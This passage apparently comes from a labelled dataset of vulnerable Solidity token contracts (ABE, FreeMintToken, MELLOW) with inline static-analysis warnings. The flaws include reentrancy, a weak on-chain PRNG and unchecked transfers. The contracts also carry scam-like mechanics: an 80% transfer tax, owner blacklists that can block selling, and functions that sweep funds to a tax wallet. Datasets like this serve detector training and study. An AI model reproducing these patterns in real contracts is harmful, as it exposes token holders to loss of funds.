'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 29170fd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 29170fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 4, \"Only 4 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: b6acf81\n\t\t\t\t// reentrancy-eth | ID: 29170fd\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b6acf81\n\t\t\t\t\t// reentrancy-eth | ID: 29170fd\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 29170fd\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 29170fd\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 29170fd\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b6acf81\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 29170fd\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 29170fd\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b6acf81\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b6acf81\n\t\t// reentrancy-events | ID: 9b8a03b\n\t\t// reentrancy-benign | ID: b07765f\n\t\t// reentrancy-eth | ID: 29170fd\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b6acf81\n\t\t// reentrancy-events | ID: 9b8a03b\n\t\t// reentrancy-eth | ID: 29170fd\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: e171a63): ABE.rescuecoins(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for e171a63: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescuecoins(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: e171a63\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function addbot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delbot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isbot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 927b01c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 927b01c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1392b71): ABE.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1392b71: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 592e5f7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 592e5f7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 927b01c\n\t\t// unused-return | ID: 1392b71\n\t\t// reentrancy-eth | ID: 592e5f7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 927b01c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 592e5f7\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function Manualunclog() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function Manualerc() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10565.sol",
"size_bytes": 22553,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract FreeMintToken is ERC20, Ownable {\n uint public constant MAX_SUPPLY = 10 * 10000 * 10000 * 1 ether;\n\n uint public constant MINT_AMOUNT = 100000 * 1 ether;\n\n uint public mint_count = 0;\n\n uint256 public collect = 1;\n\n mapping(address => bool) private hasMinted;\n\n constructor() ERC20(\"EveOneCat\", \"EveOneCat\") Ownable(msg.sender) {\n renounceOwnership();\n }\n\n function mine(uint256 runs) public returns (uint256) {\n for (uint i; i < runs; i++) {\n collect = i * i;\n }\n }\n\n\t// WARNING Vulnerability (weak-prng | severity: High | ID: 44f6386): FreeMintToken.getRandomNumber(uint256) uses a weak PRNG \"randomHash % _max\" \n\t// Recommendation for 44f6386: Do not use 'block.timestamp', 'now' or 'blockhash' as a source of randomness.\n function getRandomNumber(uint _max) public view returns (uint) {\n uint randomHash = uint(\n keccak256(\n abi.encodePacked(\n block.timestamp,\n block.difficulty,\n msg.sender,\n blockhash(block.number - 1)\n )\n )\n );\n\n\t\t// weak-prng | ID: 44f6386\n return randomHash % _max;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 954d3c1): FreeMintToken.mint() uses timestamp for comparisons Dangerous comparisons require(bool,string)(totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,Total supply exceeded)\n\t// Recommendation for 954d3c1: Avoid relying on 'block.timestamp'.\n function mint() external {\n\t\t// timestamp | ID: 954d3c1\n require(\n totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(!hasMinted[msg.sender], \"Address has already minted\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n uint256 level = (mint_count / 10000);\n\n if (level > 0) {\n mine(1000 * 2 ** level);\n }\n\n hasMinted[msg.sender] = true;\n\n mint_count += 1;\n\n uint luck = getRandomNumber(95);\n\n uint donate = (MINT_AMOUNT * 3) / 100;\n\n uint vitalik = (MINT_AMOUNT * 1) / 100;\n\n uint dead = (MINT_AMOUNT * 1) / 100;\n\n uint win = (MINT_AMOUNT * luck) / 100;\n\n _mint(0xB927789Fe408Dd806ACc3Ed1ff264DD982950Eb1, donate);\n\n _mint(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045, vitalik);\n\n _mint(0x000000000000000000000000000000000000dEaD, dead);\n\n _mint(msg.sender, win);\n }\n}\n",
"file_name": "solidity_code_10566.sol",
"size_bytes": 11134,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: dbbef76): MELLOW.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for dbbef76: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 262f4cf): MELLOW.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 262f4cf: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 120e7bf): MELLOW.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 120e7bf: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8576f91): MELLOW.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 8576f91: Consider ordering multiplication before division.\ncontract MELLOW is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ada2d2a): MELLOW._taxWallet should be immutable \n\t// Recommendation for ada2d2a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ffaf8ae): MELLOW._mattfurie should be constant \n\t// Recommendation for ffaf8ae: Add the 'constant' attribute to state variables that never change.\n address private _mattfurie =\n payable(0x14cb7E4d0A6ED69BF531d474D04cb97448fAA144);\n\n\t// WARNING Optimization Issue (constable-states | ID: 01b80b5): MELLOW._initialBuyTax should be constant \n\t// Recommendation for 01b80b5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a56ceb): MELLOW._initialSellTax should be constant \n\t// Recommendation for 7a56ceb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46847f3): MELLOW._finalBuyTax should be constant \n\t// Recommendation for 46847f3: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 607cf0c): MELLOW._finalSellTax should be constant \n\t// Recommendation for 607cf0c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b019011): MELLOW._reduceBuyTaxAt should be constant \n\t// Recommendation for b019011: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: a82b4d1): MELLOW._reduceSellTaxAt should be constant \n\t// Recommendation for a82b4d1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: cb7194b): MELLOW._preventSwapBefore should be constant \n\t// Recommendation for cb7194b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _transferTax = 80;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 69_420_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Mellow Man\";\n\n string private constant _symbol = unicode\"MELLOW\";\n\n\t// divide-before-multiply | ID: 262f4cf\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 120e7bf\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ec104d): MELLOW._taxSwapThreshold should be constant \n\t// Recommendation for 3ec104d: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: dbbef76\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 376f2bc): MELLOW._maxTaxSwap should be constant \n\t// Recommendation for 376f2bc: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 8576f91\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_mattfurie] = _tTotal.mul(5).div(100);\n\n _balances[address(this)] = _tTotal.mul(80).div(100);\n\n _balances[_msgSender()] = _tTotal.mul(15).div(100);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _mattfurie, _tTotal.mul(5).div(100));\n\n emit Transfer(address(0), address(this), _tTotal.mul(80).div(100));\n\n emit Transfer(address(0), _msgSender(), _tTotal.mul(15).div(100));\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b9457b0): MELLOW.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b9457b0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a070405): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a070405: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3a77a26): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3a77a26: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a070405\n\t\t// reentrancy-benign | ID: 3a77a26\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a070405\n\t\t// reentrancy-benign | ID: 3a77a26\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6623dc0): MELLOW._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6623dc0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3a77a26\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a070405\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ab392a2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ab392a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ff4a356): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ff4a356: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ab392a2\n\t\t\t\t// reentrancy-eth | ID: ff4a356\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ab392a2\n\t\t\t\t\t// reentrancy-eth | ID: ff4a356\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ff4a356\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ff4a356\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ff4a356\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 